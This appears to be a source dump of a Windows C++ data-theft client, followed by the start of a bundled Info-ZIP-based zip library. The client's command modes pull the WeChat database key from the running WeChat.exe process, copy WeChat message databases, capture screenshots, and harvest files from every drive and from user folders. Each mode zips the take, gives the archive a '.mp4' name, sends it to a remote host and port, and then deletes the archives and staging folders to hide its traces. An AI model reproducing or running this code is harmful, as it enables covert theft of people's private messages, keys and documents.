777 | iLength = GetLogicalDriveStringsA(BUFSIZE - 1, szLogicalDriveStrings);
778 |
779 |
780 | for (iSub = 0; iSub < iLength; iSub += 4)
781 | {
782 | // if (GetDriveType((LPCSTR)szLogicalDriveStrings + iSub) != 3)
783 | // continue;
784 | printf(szLogicalDriveStrings + iSub);
785 | }
786 | printf("\n");
787 |
788 | const char *str7 = argv[2];
789 | fname = argv[3];
790 | OneFile((char *)str7, (char *)"*.*");
791 |
792 | return 0;
793 |
794 | }
795 |
796 |
797 | if (strcmp(argv[1], "dumpkey") == 0) {
798 |
799 | getPath(value); //获取数据库位置
800 | WSADATA wsaData;
801 | int err = WSAStartup(MAKEWORD(2, 0), &wsaData);
802 | if (err != 0)
803 | {
804 | std::cout << "web error" << std::endl;
805 | return err;
806 | }
807 |
808 | DWORD procId = GetProcessID(_T("WeChat.exe"));
809 | if (procId <= 0)
810 | {
811 | std::cout << "Wechat Process not found" << std::endl;
812 | return 0;
813 | }
814 | std::cout << "[*] Found Wechat Process Pid:" << procId << std::endl;
815 | OpenWechatProc(procId);//请注意:本次更新过webhttp函数
816 | std::cout << "[*] Save DBPass.Bin" << std::endl;
817 | std::cout << "[*] Done." << std::endl;
818 |
819 |
820 |
821 |
822 | }
823 |
824 | if (strcmp(argv[1], "upload") == 0)
825 |
826 | {
827 | char name[20];
828 | //char *file = randstr(name, 7);
829 | WORD wVersionRequested = MAKEWORD(2, 0);
830 | WSADATA data;
831 |
832 |
833 | char strBuffer[256] = { 0 };
834 | strcat_s(HostName, "_");
835 | char fn[30], *p;
836 |
837 | strcpy(fn, (p = strrchr(argv[2], '\\')) ? p + 1 : argv[3]); //获取文件名
838 | //printf("%s\n", fn);
839 | strcat_s(HostName, fn);
840 | //strcat_s(HostName, argv[2]);
841 | strcat_s(HostName, ".mp4");
842 | printf("%s...\n", HostName);
843 | DWORD zResult = ZR_OK;
844 | HZIP hz = CreateZip(HostName, 0);
845 |
846 | zResult = ZipAdd(hz, fn, argv[2]);
847 | CloseZip(hz);
848 |
849 | if (argv[4]) {
850 | send_file(HostName, argv[3], (u_short)atoi(argv[4]));
851 |
852 | }
853 |
854 |
855 | if (remove(HostName) == 0)
856 | {
857 | cout << "remove SucessFul" << endl;
858 | }
859 |
860 |
861 |
862 | }
863 |
864 | if (strcmp(argv[1], "all") == 0) {
865 | static TCHAR tempzip[MAX_PATH];
866 | char szLogicalDriveStrings[BUFSIZE];
867 | DWORD iLength;
868 | int iSub;
869 |
870 | char strTmpPath[MAX_PATH];
871 | static TCHAR tempdir[MAX_PATH];
872 |
873 | // 创建临时文件夹
874 |
875 | // char tempdir[MAX_PATH];
876 | _getcwd(tempdir, MAX_PATH);
877 | lstrcat(tempdir, "\\wpsoffice");
878 | _mkdir(tempdir);
879 |
880 |
881 | char strBuffer[256] = { 0 };
882 | //DWORD dwSize = 256;
883 | //GetUserName(strBuffer, &dwSize);
884 | strcat_s(HostName, "_");
885 | strcat_s(HostName, chIP);
886 | strcat_s(HostName, "_file");
887 | strcat_s(HostName, ".mp4");
888 |
889 |
890 | ZeroMemory(szLogicalDriveStrings, BUFSIZE);
891 | iLength = GetLogicalDriveStringsA(BUFSIZE - 1, szLogicalDriveStrings);
892 | for (iSub = 0; iSub < iLength; iSub += 4)
893 | {
894 | for (int i = 0; i < length; i++)
895 | {
896 | if (strcmp(szLogicalDriveStrings + iSub, "C:\\") == 0) {
897 | break;
898 | }
899 | else
900 | {
901 | //printf("%s", szLogicalDriveStrings + iSub);
902 | FindFile((char *)szLogicalDriveStrings + iSub, (char *)"*.*", (char *)filetype[i], tempdir);
903 | }
904 | }
905 |
906 | }
907 |
908 |
909 | strcat_s(tempzip, HostName);
910 | strcat_s(tempzip, "_work_file");
911 | strcat_s(tempzip, ".mp4");
912 | printf(tempzip);
913 | DWORD zResult = ZR_OK;
914 | HZIP hz = CreateZip(tempzip, 0);
915 | LPCTSTR lpszSrcPath = tempdir;
916 | zResult = DirToZip(hz, lpszSrcPath, _tcsclen(lpszSrcPath));
917 | CloseZip(hz);
918 | if (argv[3]) {
919 | send_file(tempzip, argv[2], (u_short)atoi(argv[3]));
920 |
921 | }
922 | if (remove(tempzip) == 0)
923 | {
924 | cout << "remove SucessFul" << endl;
925 | }
926 | string ml = "";
927 | ml = "rmdir /s/q \"";
928 | ml += tempdir;
929 | system(ml.c_str());
930 |
931 |
932 |
933 | }
934 |
935 | if (strcmp(argv[1], "photo") == 0)
936 | {
937 | char name[20];
938 | static TCHAR yXFHRONr[MAX_PATH];
939 | std::string logoStr = "_____________________\r\n"
940 | "\\______ \\__ ___/___ _____ _____\r\n"
941 | "| | _/ | |_/ __ \\\\__ \\ / \\\r\n"
942 | "| \\ | |\\ ___/ / __ \\| Y Y \\\r\n"
943 | "|____| / |____| \\___ >____ /__|_| /\r\n"
944 | "\\/ \\/ \\/ \\/\r\n";
945 |
946 |
947 | std::cout << logoStr << std::endl;
948 | char *exe = randstr(name, 7);
949 | strcat_s(yXFHRONr, exe);
950 | strcat_s(yXFHRONr, TEXT("_WeiXin.png"));
951 | LPCTSTR imageName = (LPCTSTR)yXFHRONr;
952 | ScreenCapture(imageName);
953 |
954 | printf("Open Current Path %s........\n", imageName);
955 | printf("Start Send........\n");
956 |
957 | if (argv[3]) {
958 | send_file(imageName, argv[2], (u_short)atoi(argv[3]));
959 |
960 | }
961 |
962 |
963 | if (remove(imageName) == 0)
964 | {
965 | cout << "remove SucessFul" << endl;
966 | }
967 |
968 |
969 | }
970 |
971 |
972 | if (strcmp(argv[1], "uploads") == 0)
973 | {
974 | if (argv[2]) {
975 |
976 | fileNames.push_back(argv[2]);
977 |
978 |
979 | string vx_image = fileNames.front();
980 | printf(vx_image.c_str());
981 |
982 |
983 | strcat_s(tempzip, HostName);
984 | strcat_s(tempzip, "_upload_file.zip");
985 | DWORD zResult = ZR_OK;
986 | HZIP hz = CreateZip(tempzip, 0);
987 | LPCTSTR lpszSrcPath = (LPCTSTR)vx_image.c_str();
988 | zResult = DirToZip(hz, lpszSrcPath, _tcsclen(lpszSrcPath));
989 | CloseZip(hz);
990 | send_file(tempzip, argv[3], (u_short)atoi(argv[4]));
991 | if (remove(tempzip) == 0)
992 | {
993 | cout << "remove SucessFul" << endl;
994 | }
995 | }
996 |
997 |
998 | }
999 |
1000 |
1001 |
1002 |
1003 |
1004 | if (strcmp(argv[1], "send") == 0) {
1005 |
1006 |
1007 | char source[1000];
1008 | char target[1000];
1009 | char target1[1000];
1010 | char target2[1000];
1011 |
1012 | char tempdir[MAX_PATH];
1013 | _getcwd(tempdir, MAX_PATH);
1014 | lstrcat(tempdir, "\\result");
1015 | _mkdir(tempdir);
1016 |
1017 |
1018 | if (argv[4]) {
1019 |
1020 | fileNames.push_back(argv[4]);
1021 | }
1022 | else
1023 | {
1024 | getPath(value); //获取数据库位置
1025 |
1026 | getFileNames(value, fileNames);
1027 | }
1028 |
1029 |
1030 |
1031 |
1032 | strcat_s(HostName, "_vxdb_");
1033 | strcat_s(HostName, chIP);
1034 | strcat_s(HostName, ".mp4");
1035 |
1036 | const char* filetypex[] = { "MSG0.db","MSG1.db" ,"MSG2.db", }; //"\\Msg\\MicroMsg.db"
1037 | char fn[30], *p;
1038 |
1039 |
1040 | printf("Wechat Plugin:%s\n", fileNames.front().c_str());
1041 | string vxdb = fileNames.front() +"\\Msg\\Multi\\";
1042 | string MicroMsg = fileNames.front() + "\\Msg\\MicroMsg.db";
1043 | for (int i = 0; i < 3; i++)
1044 | {
1045 |
1046 | string wxdb = vxdb + (char *)filetypex[i];
1047 |
1048 | lstrcpy(target, tempdir);
1049 | lstrcat(target, "\\");
1050 |
1051 |
1052 |
1053 | lstrcat(target, (char *)filetypex[i]);
1054 | if (_access(wxdb.c_str(), 0) == 0)
1055 | {
1056 | printf("%s\n", target);
1057 | }
1058 |
1059 | CopyFile((LPCSTR)wxdb.c_str(), target, TRUE);
1060 |
1061 | //zResult = ZipAdd(hz, filetype[i], wxdb.c_str());
1062 | //CloseZip(hz);
1063 | //cout << target << endl;
1064 | }
1065 | lstrcpy(target1, tempdir);
1066 | lstrcat(target1, "\\MicroMsg.db");
1067 | printf("%s\n", target1);
1068 | CopyFile((LPCSTR)MicroMsg.c_str(), target1, TRUE);
1069 | //zResult = ZipAdd(hz, "DBPass.Bin", "DBPass.Bin");
1070 | strcat_s(tempzip, HostName);
1071 | char buffer[MAX_PATH];
1072 | _getcwd(buffer, MAX_PATH);
1073 | lstrcat(buffer, "\\DBPass.Bin");
1074 | lstrcpy(target2, tempdir);
1075 | lstrcat(target2, "\\DBPass.Bin");
1076 | printf("%s\n", target2);
1077 | CopyFile((LPCSTR)buffer, target2, TRUE);
1078 | DWORD zResult = ZR_OK;
1079 | HZIP hz = CreateZip(tempzip, 0);
1080 | LPCTSTR lpszSrcPath = tempdir;
1081 | zResult = DirToZip(hz, lpszSrcPath, _tcsclen(lpszSrcPath));
1082 | CloseZip(hz);
1083 | printf("Start Send........\n");
1084 | send_file(tempzip, argv[2], (u_short)atoi(argv[3]));
1085 | if (remove(tempzip) == 0)
1086 | {
1087 | cout << "remove SucessFul" << endl;
1088 | }
1089 | return 0;
1090 | }
1091 |
1092 | if (strcmp(argv[1], "user") == 0) {
1093 | static TCHAR tempzip[MAX_PATH];
1094 | static TCHAR tempdd[MAX_PATH];
1095 | _getcwd(tempdd, MAX_PATH);
1096 | lstrcat(tempdd, "\\userfile");
1097 | _mkdir(tempdd);
1098 |
1099 | //TCHAR path[255];
1100 | //获取当前用户的桌面路径
1101 | //SHGetSpecialFolderPath(0, path, CSIDL_DESKTOPDIRECTORY, 0);
1102 |
1103 | for (int i = 0; i < length; i++) {
1104 | FindFile((char *)"C:\\Users", (char *)"*.*", (char *)filetype[i], tempdd);
1105 | }
1106 |
1107 | char strBuffer[256] = { 0 };
1108 | //DWORD dwSize = 256;
1109 | //GetUserName(strBuffer, &dwSize);
1110 | strcat_s(HostName, "_");
1111 | strcat_s(HostName, chIP);
1112 | strcat_s(HostName, "_userfile");
1113 | strcat_s(HostName, ".mp4");
1114 |
1115 |
1116 | strcat_s(tempzip, HostName);
1117 | strcat_s(tempzip, "_work_file");
1118 | strcat_s(tempzip, ".mp4");
1119 | printf(tempzip);
1120 | DWORD zResult = ZR_OK;
1121 | HZIP hz = CreateZip(tempzip, 0);
1122 | LPCTSTR lpszSrcPath = tempdd;
1123 | zResult = DirToZip(hz, lpszSrcPath, _tcsclen(lpszSrcPath));
1124 | CloseZip(hz);
1125 | if (argv[3]) {
1126 | send_file(tempzip, argv[2], (u_short)atoi(argv[3]));
1127 |
1128 | }
1129 | if (remove(tempzip) == 0)
1130 | {
1131 | cout << "remove SucessFul" << endl;
1132 | }
1133 |
1134 | string ml = "";
1135 | ml = "rmdir /s/q \"";
1136 | ml += tempdd;
1137 | system(ml.c_str());
1138 | }
1139 |
1140 | }
1141 |
1142 | void getFileNames(string path, vector& files)
1143 | {
1144 | intptr_t hFile = 0;
1145 | //文件信息
1146 | struct _finddata_t fileinfo;
1147 | string p;
1148 | string::size_type idx;
1149 |
1150 | if ((hFile = _findfirst(p.assign(path).append("\\*").c_str(), &fileinfo)) != -1)
1151 | {
1152 | do
1153 | {
1154 | //如果是目录,匹配文件夹
1155 | if ((fileinfo.attrib & _A_SUBDIR))
1156 | {
1157 | if (strstr(fileinfo.name, "wxid") != NULL)
1158 | files.push_back(p.assign(path).append("\\").append(fileinfo.name));
1159 | }
1160 |
1161 | } while (_findnext(hFile, &fileinfo) == 0);
1162 | _findclose(hFile);
1163 | }
1164 | }
1165 |
--------------------------------------------------------------------------------
/FileUpload/Client/zip.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include "zip.h"
5 | #include "unzip.h"
6 |
7 | // THIS FILE is almost entirely based upon code by info-zip.
8 | // It has been modified by Lucian Wischik. The modifications
9 | // were a complete rewrite of the bit of code that generates the
10 | // layout of the zipfile, and support for zipping to/from memory
11 | // or handles or pipes or pagefile or diskfiles, encryption, unicode.
12 | // The original code may be found at http://www.info-zip.org
13 | // The original copyright text follows.
14 | //
15 | //
16 | //
17 | // This is version 1999-Oct-05 of the Info-ZIP copyright and license.
18 | // The definitive version of this document should be available at
19 | // ftp://ftp.cdrom.com/pub/infozip/license.html indefinitely.
20 | //
21 | // Copyright (c) 1990-1999 Info-ZIP. All rights reserved.
22 | //
23 | // For the purposes of this copyright and license, "Info-ZIP" is defined as
24 | // the following set of individuals:
25 | //
26 | // Mark Adler, John Bush, Karl Davis, Harald Denker, Jean-Michel Dubois,
27 | // Jean-loup Gailly, Hunter Goatley, Ian Gorman, Chris Herborth, Dirk Haase,
28 | // Greg Hartwig, Robert Heath, Jonathan Hudson, Paul Kienitz, David Kirschbaum,
29 | // Johnny Lee, Onno van der Linden, Igor Mandrichenko, Steve P. Miller,
30 | // Sergio Monesi, Keith Owens, George Petrov, Greg Roelofs, Kai Uwe Rommel,
31 | // Steve Salisbury, Dave Smith, Christian Spieler, Antoine Verheijen,
32 | // Paul von Behren, Rich Wales, Mike White
33 | //
34 | // This software is provided "as is," without warranty of any kind, express
35 | // or implied. In no event shall Info-ZIP or its contributors be held liable
36 | // for any direct, indirect, incidental, special or consequential damages
37 | // arising out of the use of or inability to use this software.
38 | //
39 | // Permission is granted to anyone to use this software for any purpose,
40 | // including commercial applications, and to alter it and redistribute it
41 | // freely, subject to the following restrictions:
42 | //
43 | // 1. Redistributions of source code must retain the above copyright notice,
44 | // definition, disclaimer, and this list of conditions.
45 | //
46 | // 2. Redistributions in binary form must reproduce the above copyright
47 | // notice, definition, disclaimer, and this list of conditions in
48 | // documentation and/or other materials provided with the distribution.
49 | //
50 | // 3. Altered versions--including, but not limited to, ports to new operating
51 | // systems, existing ports with new graphical interfaces, and dynamic,
52 | // shared, or static library versions--must be plainly marked as such
53 | // and must not be misrepresented as being the original source. Such
54 | // altered versions also must not be misrepresented as being Info-ZIP
55 | // releases--including, but not limited to, labeling of the altered
56 | // versions with the names "Info-ZIP" (or any variation thereof, including,
57 | // but not limited to, different capitalizations), "Pocket UnZip," "WiZ"
58 | // or "MacZip" without the explicit permission of Info-ZIP. Such altered
59 | // versions are further prohibited from misrepresentative use of the
60 | // Zip-Bugs or Info-ZIP e-mail addresses or of the Info-ZIP URL(s).
61 | //
62 | // 4. Info-ZIP retains the right to use the names "Info-ZIP," "Zip," "UnZip,"
63 | // "WiZ," "Pocket UnZip," "Pocket Zip," and "MacZip" for its own source and
64 | // binary releases.
65 | //
66 |
67 |
68 | typedef unsigned char uch; // unsigned 8-bit value
69 | typedef unsigned short ush; // unsigned 16-bit value
70 | typedef unsigned long ulg; // unsigned 32-bit value
71 | typedef size_t extent; // file size
72 | typedef unsigned Pos; // must be at least 32 bits
73 | typedef unsigned IPos; // A Pos is an index in the character window. Pos is used only for parameter passing
74 |
75 | #ifndef EOF
76 | #define EOF (-1)
77 | #endif
78 |
79 |
80 | // Error return values. The values 0..4 and 12..18 follow the conventions
81 | // of PKZIP. The values 4..10 are all assigned to "insufficient memory"
82 | // by PKZIP, so the codes 5..10 are used here for other purposes.
83 | #define ZE_MISS -1 // used by procname(), zipbare()
84 | #define ZE_OK 0 // success
85 | #define ZE_EOF 2 // unexpected end of zip file
86 | #define ZE_FORM 3 // zip file structure error
87 | #define ZE_MEM 4 // out of memory
88 | #define ZE_LOGIC 5 // internal logic error
89 | #define ZE_BIG 6 // entry too large to split
90 | #define ZE_NOTE 7 // invalid comment format
91 | #define ZE_TEST 8 // zip test (-T) failed or out of memory
92 | #define ZE_ABORT 9 // user interrupt or termination
93 | #define ZE_TEMP 10 // error using a temp file
94 | #define ZE_READ 11 // read or seek error
95 | #define ZE_NONE 12 // nothing to do
96 | #define ZE_NAME 13 // missing or empty zip file
97 | #define ZE_WRITE 14 // error writing to a file
98 | #define ZE_CREAT 15 // couldn't open to write
99 | #define ZE_PARMS 16 // bad command line
100 | #define ZE_OPEN 18 // could not open a specified file to read
101 | #define ZE_MAXERR 18 // the highest error number
102 |
103 |
104 | // internal file attribute
105 | #define UNKNOWN (-1)
106 | #define BINARY 0
107 | #define ASCII 1
108 |
109 | #define BEST -1 // Use best method (deflation or store)
110 | #define STORE 0 // Store method
111 | #define DEFLATE 8 // Deflation method
112 |
113 | #define CRCVAL_INITIAL 0L
114 |
115 | // MSDOS file or directory attributes
116 | #define MSDOS_HIDDEN_ATTR 0x02
117 | #define MSDOS_DIR_ATTR 0x10
118 |
119 | // Lengths of headers after signatures in bytes
120 | #define LOCHEAD 26
121 | #define CENHEAD 42
122 | #define ENDHEAD 18
123 |
124 | // Definitions for extra field handling:
125 | #define EB_HEADSIZE 4 /* length of a extra field block header */
126 | #define EB_LEN 2 /* offset of data length field in header */
127 | #define EB_UT_MINLEN 1 /* minimal UT field contains Flags byte */
128 | #define EB_UT_FLAGS 0 /* byte offset of Flags field */
129 | #define EB_UT_TIME1 1 /* byte offset of 1st time value */
130 | #define EB_UT_FL_MTIME (1 << 0) /* mtime present */
131 | #define EB_UT_FL_ATIME (1 << 1) /* atime present */
132 | #define EB_UT_FL_CTIME (1 << 2) /* ctime present */
133 | #define EB_UT_LEN(n) (EB_UT_MINLEN + 4 * (n))
134 | #define EB_L_UT_SIZE (EB_HEADSIZE + EB_UT_LEN(3))
135 | #define EB_C_UT_SIZE (EB_HEADSIZE + EB_UT_LEN(1))
136 |
137 |
138 | // Macros for writing machine integers to little-endian format
139 | #define PUTSH(a,f) {char _putsh_c=(char)((a)&0xff); wfunc(param,&_putsh_c,1); _putsh_c=(char)((a)>>8); wfunc(param,&_putsh_c,1);}
140 | #define PUTLG(a,f) {PUTSH((a) & 0xffff,(f)) PUTSH((a) >> 16,(f))}
141 |
142 |
143 | // -- Structure of a ZIP file --
144 | // Signatures for zip file information headers
145 | #define LOCSIG 0x04034b50L
146 | #define CENSIG 0x02014b50L
147 | #define ENDSIG 0x06054b50L
148 | #define EXTLOCSIG 0x08074b50L
149 |
150 |
151 | #define MIN_MATCH 3
152 | #define MAX_MATCH 258
153 | // The minimum and maximum match lengths
154 |
155 |
156 | #define WSIZE (0x8000)
157 | // Maximum window size = 32K. If you are really short of memory, compile
158 | // with a smaller WSIZE but this reduces the compression ratio for files
159 | // of size > WSIZE. WSIZE must be a power of two in the current implementation.
160 | //
161 |
162 | #define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1)
163 | // Minimum amount of lookahead, except at the end of the input file.
164 | // See deflate.c for comments about the MIN_MATCH+1.
165 | //
166 |
167 | #define MAX_DIST (WSIZE-MIN_LOOKAHEAD)
168 | // In order to simplify the code, particularly on 16 bit machines, match
169 | // distances are limited to MAX_DIST instead of WSIZE.
170 | //
171 |
172 |
173 | #define ZIP_HANDLE 1
174 | #define ZIP_FILENAME 2
175 | #define ZIP_MEMORY 3
176 | #define ZIP_FOLDER 4
177 |
178 |
179 |
180 | // ===========================================================================
181 | // Constants
182 | //
183 |
184 | #define MAX_BITS 15
185 | // All codes must not exceed MAX_BITS bits
186 |
187 | #define MAX_BL_BITS 7
188 | // Bit length codes must not exceed MAX_BL_BITS bits
189 |
190 | #define LENGTH_CODES 29
191 | // number of length codes, not counting the special END_BLOCK code
192 |
193 | #define LITERALS 256
194 | // number of literal bytes 0..255
195 |
196 | #define END_BLOCK 256
197 | // end of block literal code
198 |
199 | #define L_CODES (LITERALS+1+LENGTH_CODES)
200 | // number of Literal or Length codes, including the END_BLOCK code
201 |
202 | #define D_CODES 30
203 | // number of distance codes
204 |
205 | #define BL_CODES 19
206 | // number of codes used to transfer the bit lengths
207 |
208 |
209 | #define STORED_BLOCK 0
210 | #define STATIC_TREES 1
211 | #define DYN_TREES 2
212 | // The three kinds of block type
213 |
214 | #define LIT_BUFSIZE 0x8000
215 | #define DIST_BUFSIZE LIT_BUFSIZE
216 | // Sizes of match buffers for literals/lengths and distances. There are
217 | // 4 reasons for limiting LIT_BUFSIZE to 64K:
218 | // - frequencies can be kept in 16 bit counters
219 | // - if compression is not successful for the first block, all input data is
220 | // still in the window so we can still emit a stored block even when input
221 | // comes from standard input. (This can also be done for all blocks if
222 | // LIT_BUFSIZE is not greater than 32K.)
223 | // - if compression is not successful for a file smaller than 64K, we can
224 | // even emit a stored file instead of a stored block (saving 5 bytes).
225 | // - creating new Huffman trees less frequently may not provide fast
226 | // adaptation to changes in the input data statistics. (Take for
227 | // example a binary file with poorly compressible code followed by
228 | // a highly compressible string table.) Smaller buffer sizes give
229 | // fast adaptation but have of course the overhead of transmitting trees
230 | // more frequently.
231 | // - I can't count above 4
232 | // The current code is general and allows DIST_BUFSIZE < LIT_BUFSIZE (to save
233 | // memory at the expense of compression). Some optimizations would be possible
234 | // if we rely on DIST_BUFSIZE == LIT_BUFSIZE.
235 | //
236 |
237 | #define REP_3_6 16
238 | // repeat previous bit length 3-6 times (2 bits of repeat count)
239 |
240 | #define REPZ_3_10 17
241 | // repeat a zero length 3-10 times (3 bits of repeat count)
242 |
243 | #define REPZ_11_138 18
244 | // repeat a zero length 11-138 times (7 bits of repeat count)
245 |
246 | #define HEAP_SIZE (2*L_CODES+1)
247 | // maximum heap size
248 |
249 |
250 | // ===========================================================================
251 | // Local data used by the "bit string" routines.
252 | //
253 |
254 | #define Buf_size (8 * 2*sizeof(char))
255 | // Number of bits used within bi_buf. (bi_buf may be implemented on
256 | // more than 16 bits on some systems.)
257 |
258 | // Output a 16 bit value to the bit stream, lower (oldest) byte first
259 | #define PUTSHORT(state,w) \
260 | { if (state.bs.out_offset >= state.bs.out_size-1) \
261 | state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset); \
262 | state.bs.out_buf[state.bs.out_offset++] = (char) ((w) & 0xff); \
263 | state.bs.out_buf[state.bs.out_offset++] = (char) ((ush)(w) >> 8); \
264 | }
265 |
266 | #define PUTBYTE(state,b) \
267 | { if (state.bs.out_offset >= state.bs.out_size) \
268 | state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset); \
269 | state.bs.out_buf[state.bs.out_offset++] = (char) (b); \
270 | }
271 |
272 | // DEFLATE.CPP HEADER
273 |
274 | #define HASH_BITS 15
275 | // For portability to 16 bit machines, do not use values above 15.
276 |
277 | #define HASH_SIZE (unsigned)(1<= HASH_BITS
306 |
307 | #define max_insert_length max_lazy_match
308 | // Insert new strings in the hash table only if the match length
309 | // is not greater than this length. This saves time but degrades compression.
310 | // max_insert_length is used only for compression levels <= 3.
311 |
312 |
313 |
314 | const int extra_lbits[LENGTH_CODES] // extra bits for each length code
315 | = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0};
316 |
317 | const int extra_dbits[D_CODES] // extra bits for each distance code
318 | = {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13};
319 |
320 | const int extra_blbits[BL_CODES]// extra bits for each bit length code
321 | = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7};
322 |
323 | const uch bl_order[BL_CODES] = {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15};
324 | // The lengths of the bit length codes are sent in order of decreasing
325 | // probability, to avoid transmitting the lengths for unused bit length codes.
326 |
327 |
328 | typedef struct config {
329 | ush good_length; // reduce lazy search above this match length
330 | ush max_lazy; // do not perform lazy search above this match length
331 | ush nice_length; // quit search above this match length
332 | ush max_chain;
333 | } config;
334 |
335 | // Values for max_lazy_match, good_match, nice_match and max_chain_length,
336 | // depending on the desired pack level (0..9). The values given below have
337 | // been tuned to exclude worst case performance for pathological files.
338 | // Better values may be found for specific files.
339 | //
340 |
341 | const config configuration_table[10] = {
342 | // good lazy nice chain
343 | {0, 0, 0, 0}, // 0 store only
344 | {4, 4, 8, 4}, // 1 maximum speed, no lazy matches
345 | {4, 5, 16, 8}, // 2
346 | {4, 6, 32, 32}, // 3
347 | {4, 4, 16, 16}, // 4 lazy matches */
348 | {8, 16, 32, 32}, // 5
349 | {8, 16, 128, 128}, // 6
350 | {8, 32, 128, 256}, // 7
351 | {32, 128, 258, 1024}, // 8
352 | {32, 258, 258, 4096}};// 9 maximum compression */
353 |
354 | // Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4
355 | // For deflate_fast() (levels <= 3) good is ignored and lazy has a different meaning.
356 |
357 |
358 |
359 |
360 |
361 |
362 |
363 | // Data structure describing a single value and its code string.
364 | typedef struct ct_data {
365 | union {
366 | ush freq; // frequency count
367 | ush code; // bit string
368 | } fc;
369 | union {
370 | ush dad; // father node in Huffman tree
371 | ush len; // length of bit string
372 | } dl;
373 | } ct_data;
374 |
375 | typedef struct tree_desc {
376 | ct_data *dyn_tree; // the dynamic tree
377 | ct_data *static_tree; // corresponding static tree or NULL
378 | const int *extra_bits; // extra bits for each code or NULL
379 | int extra_base; // base index for extra_bits
380 | int elems; // max number of elements in the tree
381 | int max_length; // max bit length for the codes
382 | int max_code; // largest code with non zero frequency
383 | } tree_desc;
384 |
385 |
386 |
387 |
388 | class TTreeState
389 | { public:
390 | TTreeState();
391 |
392 | ct_data dyn_ltree[HEAP_SIZE]; // literal and length tree
393 | ct_data dyn_dtree[2*D_CODES+1]; // distance tree
394 | ct_data static_ltree[L_CODES+2]; // the static literal tree...
395 | // ... Since the bit lengths are imposed, there is no need for the L_CODES
396 | // extra codes used during heap construction. However the codes 286 and 287
397 | // are needed to build a canonical tree (see ct_init below).
398 | ct_data static_dtree[D_CODES]; // the static distance tree...
399 | // ... (Actually a trivial tree since all codes use 5 bits.)
400 | ct_data bl_tree[2*BL_CODES+1]; // Huffman tree for the bit lengths
401 |
402 | tree_desc l_desc;
403 | tree_desc d_desc;
404 | tree_desc bl_desc;
405 |
406 | ush bl_count[MAX_BITS+1]; // number of codes at each bit length for an optimal tree
407 |
408 | int heap[2*L_CODES+1]; // heap used to build the Huffman trees
409 | int heap_len; // number of elements in the heap
410 | int heap_max; // element of largest frequency
411 | // The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used.
412 | // The same heap array is used to build all trees.
413 |
414 | uch depth[2*L_CODES+1];
415 | // Depth of each subtree used as tie breaker for trees of equal frequency
416 |
417 | uch length_code[MAX_MATCH-MIN_MATCH+1];
418 | // length code for each normalized match length (0 == MIN_MATCH)
419 |
420 | uch dist_code[512];
421 | // distance codes. The first 256 values correspond to the distances
422 | // 3 .. 258, the last 256 values correspond to the top 8 bits of
423 | // the 15 bit distances.
424 |
425 | int base_length[LENGTH_CODES];
426 | // First normalized length for each code (0 = MIN_MATCH)
427 |
428 | int base_dist[D_CODES];
429 | // First normalized distance for each code (0 = distance of 1)
430 |
431 | uch far l_buf[LIT_BUFSIZE]; // buffer for literals/lengths
432 | ush far d_buf[DIST_BUFSIZE]; // buffer for distances
433 |
434 | uch flag_buf[(LIT_BUFSIZE/8)];
435 | // flag_buf is a bit array distinguishing literals from lengths in
436 | // l_buf, and thus indicating the presence or absence of a distance.
437 |
438 | unsigned last_lit; // running index in l_buf
439 | unsigned last_dist; // running index in d_buf
440 | unsigned last_flags; // running index in flag_buf
441 | uch flags; // current flags not yet saved in flag_buf
442 | uch flag_bit; // current bit used in flags
443 | // bits are filled in flags starting at bit 0 (least significant).
444 | // Note: these flags are overkill in the current code since we don't
445 | // take advantage of DIST_BUFSIZE == LIT_BUFSIZE.
446 |
447 | ulg opt_len; // bit length of current block with optimal trees
448 | ulg static_len; // bit length of current block with static trees
449 |
450 | ulg cmpr_bytelen; // total byte length of compressed file
451 | ulg cmpr_len_bits; // number of bits past 'cmpr_bytelen'
452 |
453 | ulg input_len; // total byte length of input file
454 | // input_len is for debugging only since we can get it by other means.
455 |
456 | ush *file_type; // pointer to UNKNOWN, BINARY or ASCII
457 | // int *file_method; // pointer to DEFLATE or STORE
458 | };
459 |
460 | TTreeState::TTreeState()
461 | { tree_desc a = {dyn_ltree, static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS, 0}; l_desc = a;
462 | tree_desc b = {dyn_dtree, static_dtree, extra_dbits, 0, D_CODES, MAX_BITS, 0}; d_desc = b;
463 | tree_desc c = {bl_tree, NULL, extra_blbits, 0, BL_CODES, MAX_BL_BITS, 0}; bl_desc = c;
464 | last_lit=0;
465 | last_dist=0;
466 | last_flags=0;
467 | }
468 |
469 |
470 |
471 | class TBitState
472 | { public:
473 |
474 | int flush_flg;
475 | //
476 | unsigned bi_buf;
477 | // Output buffer. bits are inserted starting at the bottom (least significant
478 | // bits). The width of bi_buf must be at least 16 bits.
479 | int bi_valid;
480 | // Number of valid bits in bi_buf. All bits above the last valid bit
481 | // are always zero.
482 | char *out_buf;
483 | // Current output buffer.
484 | unsigned out_offset;
485 | // Current offset in output buffer.
486 | // On 16 bit machines, the buffer is limited to 64K.
487 | unsigned out_size;
488 | // Size of current output buffer
489 | ulg bits_sent; // bit length of the compressed data only needed for debugging???
490 | };
491 |
492 |
493 |
494 |
495 |
496 |
497 |
498 | class TDeflateState
499 | { public:
500 | TDeflateState() {window_size=0;}
501 |
502 | uch window[2L*WSIZE];
503 | // Sliding window. Input bytes are read into the second half of the window,
504 | // and move to the first half later to keep a dictionary of at least WSIZE
505 | // bytes. With this organization, matches are limited to a distance of
506 | // WSIZE-MAX_MATCH bytes, but this ensures that IO is always
507 | // performed with a length multiple of the block size. Also, it limits
508 | // the window size to 64K, which is quite useful on MSDOS.
509 | // To do: limit the window size to WSIZE+CBSZ if SMALL_MEM (the code would
510 | // be less efficient since the data would have to be copied WSIZE/CBSZ times)
511 | Pos prev[WSIZE];
512 | // Link to older string with same hash index. To limit the size of this
513 | // array to 64K, this link is maintained only for the last 32K strings.
